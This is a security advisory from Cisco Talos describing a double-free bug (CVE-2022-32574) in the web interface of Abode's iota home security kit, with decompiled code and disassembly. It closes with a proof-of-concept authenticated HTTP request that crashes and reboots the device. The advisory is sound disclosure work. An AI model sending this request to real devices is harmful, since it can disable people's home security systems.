Talos Vulnerability Report

TALOS-2022-1565

Abode Systems, Inc. iota All-In-One Security Kit web interface /action/ipcamSetParamPost double-free vulnerability

OCTOBER 20, 2022

CVE NUMBER

CVE-2022-32574

SUMMARY

A double-free vulnerability exists in the web interface /action/ipcamSetParamPost functionality of Abode Systems, Inc. iota All-In-One Security Kit 6.9X and 6.9Z. A specially-crafted HTTP request can lead to memory corruption. An attacker can make an authenticated HTTP request to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

abode systems, inc. iota All-In-One Security Kit 6.9X
abode systems, inc. iota All-In-One Security Kit 6.9Z

PRODUCT URLS

iota All-In-One Security Kit - https://goabode.com/product/iota-security-kit

CVSSV3 SCORE

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-415 - Double Free

DETAILS

The iota All-In-One Security Kit is a home security gateway containing an HD camera, infrared motion detection sensor, Ethernet, WiFi and Cellular connectivity. The iota gateway orchestrates communications between sensors (cameras, door and window alarms, motion detectors, etc.) distributed on the LAN and the Abode cloud. Users of the iota can communicate with the device through mobile application or web application.

The `iota` device contains a disabled-by-default local web interface that enables an authenticated user to interact with the device. When the `WebServerEnable` configuration parameter is enabled, the features exposed by this web interface are numerous. We are not aware of a method to enable the web server that is intended for use by end-users, though TALOS-2022-1552 or TALOS-2022-1553 would allow a remote attacker to enable the web server.

Of note for this report is the function associated with POST requests destined for `/action/ipcamSetParamPost`. The function responsible for handling the request (`web_ipcam_set_param_post`) is located at offset `0x1BCCEC` of the `/root/hpgw` binary included in firmware version 6.9Z. We cannot discern the intention of this feature. The name would indicate that this is related to modifying parameters of the `ipcam` subsystem (or potentially connected `ipcam` devices) but no such functionality exists in the function itself.

```
void __fastcall web_ipcam_setparam_post(mg_connection *conn, mg_request_info *ri)
{
  size_t payload_len;
  signed int size;
  char *buffer;
  char payload[16];

  payload_len = http_collect_payload(conn, ri, payload, 15);
  payload[payload_len] = 0;

  // [1] Extract the `size` parameter from the POST request
  size = mg_get_var_as_int(payload, payload_len, "size", 0) << 7;

  // [2] Allocate a `(size << 7) + 16` byte buffer on the heap
  buffer = (char *)malloc(size + 16);

  if ( buffer )
  {
    // [3] Copy the portion of the POST request that has already been extracted into
the buffer
    memcpy(buffer, payload, payload_len);

    // [4] Extract up to `size << 7` more bytes of the request into the buffer
    http_collect_payload(conn, ri, &buffer[payload_len], size);
    ...

    // [5] Free the buffer
    free(buffer);

    // [6] Call a destructor on the buffer
    std::vector<int>::~vector((std::vector<int> *const)&buffer);
  }
  else {
    err_str = strtable_get("WEB_ERR_OPERATION_ERR", 21);
    web_error(conn, 0, err_str);
  }
}
```

At `[1]` an attacker-controlled `size` parameter is extracted from the POST request body, multiplied by 0x80, and then stored into the `size` variable located on the stack. At `[2]` a heap allocation of `size+16` bytes is made. At `[3]` and `[4]` the entire content of the HTTP request is copied into the buffer. Between `[4]` and `[5]` we have excluded some irrelevant portions of the code, but we can truthfully say that the removed portions have no side effects on the system. We have not identified the intended purpose of this function, but it does not operate on the contents of the buffer at all prior to `free()`ing it at `[5]`. Finally, a pointer to the buffer is passed to the `std::vector<int>` destructor.

The implementation for the `std::vector<int>`destructor is quite straightforward:

```
.text:00105620 _ZNSt6vectorIiSaIiEED2Ev_0
.text:00105620                 PUSH    {R4,LR}         ; Alternative name is
'std::vector<int, std::allocator<int>>::~vector()'
.text:00105624                 MOV     R4, R0
.text:00105628                 LDR     R0, [R0]        [a] Dereference the pointer
.text:0010562C                 CMP     R0, #0          [b] Ensure the dereferenced
value exists
.text:00105630                 BEQ     loc_105638
.text:00105634                 BL      free            [c] Free the pointer
.text:00105638
.text:00105638 loc_105638
.text:00105638                 MOV     R0, R4
.text:0010563C                 POP     {R4,PC}
```

At `[c]` the dereferenced pointer (`buffer`) will be free'd, resulting in a double free, and sanity checks within `free` detect this state and initiate a SIGABRT. The process crashes somewhat gracefully and the entire system will reboot. While we believe there is a small likelihood that this vulnerability could be abused to gain code execution, we could not prove that the conditions necessary to avoid the SIGABRT existed.

A maliciously-formatted, authenticated web request submitted to this endpoint will result in a double-free heap corruption, the crash of the `hpgw` binary, and the watchdog reset of the `iota` device.

Exploit Proof of Concept

```
POST /action/ipcamSetParamPost HTTP/1.1
Authorization: Basic YWJvZGVzZXJ2aWNlMTU6MTIzNDU2Nzg5
Host: 10.1.1.201
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: abcd
X-Requested-With: XMLHttpRequest
Referer: http://10.1.1.201/setting/xmpp.htm
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Length: 8

size=1
```

TIMELINE

2022-07-14 - Vendor Disclosure

2022-10-20 - Public Release

CREDIT

Discovered by Matt Wiseman of Cisco Talos.

VULNERABILITY REPORTS

PREVIOUS REPORT

TALOS-2022-1564

NEXT REPORT

TALOS-2022-1554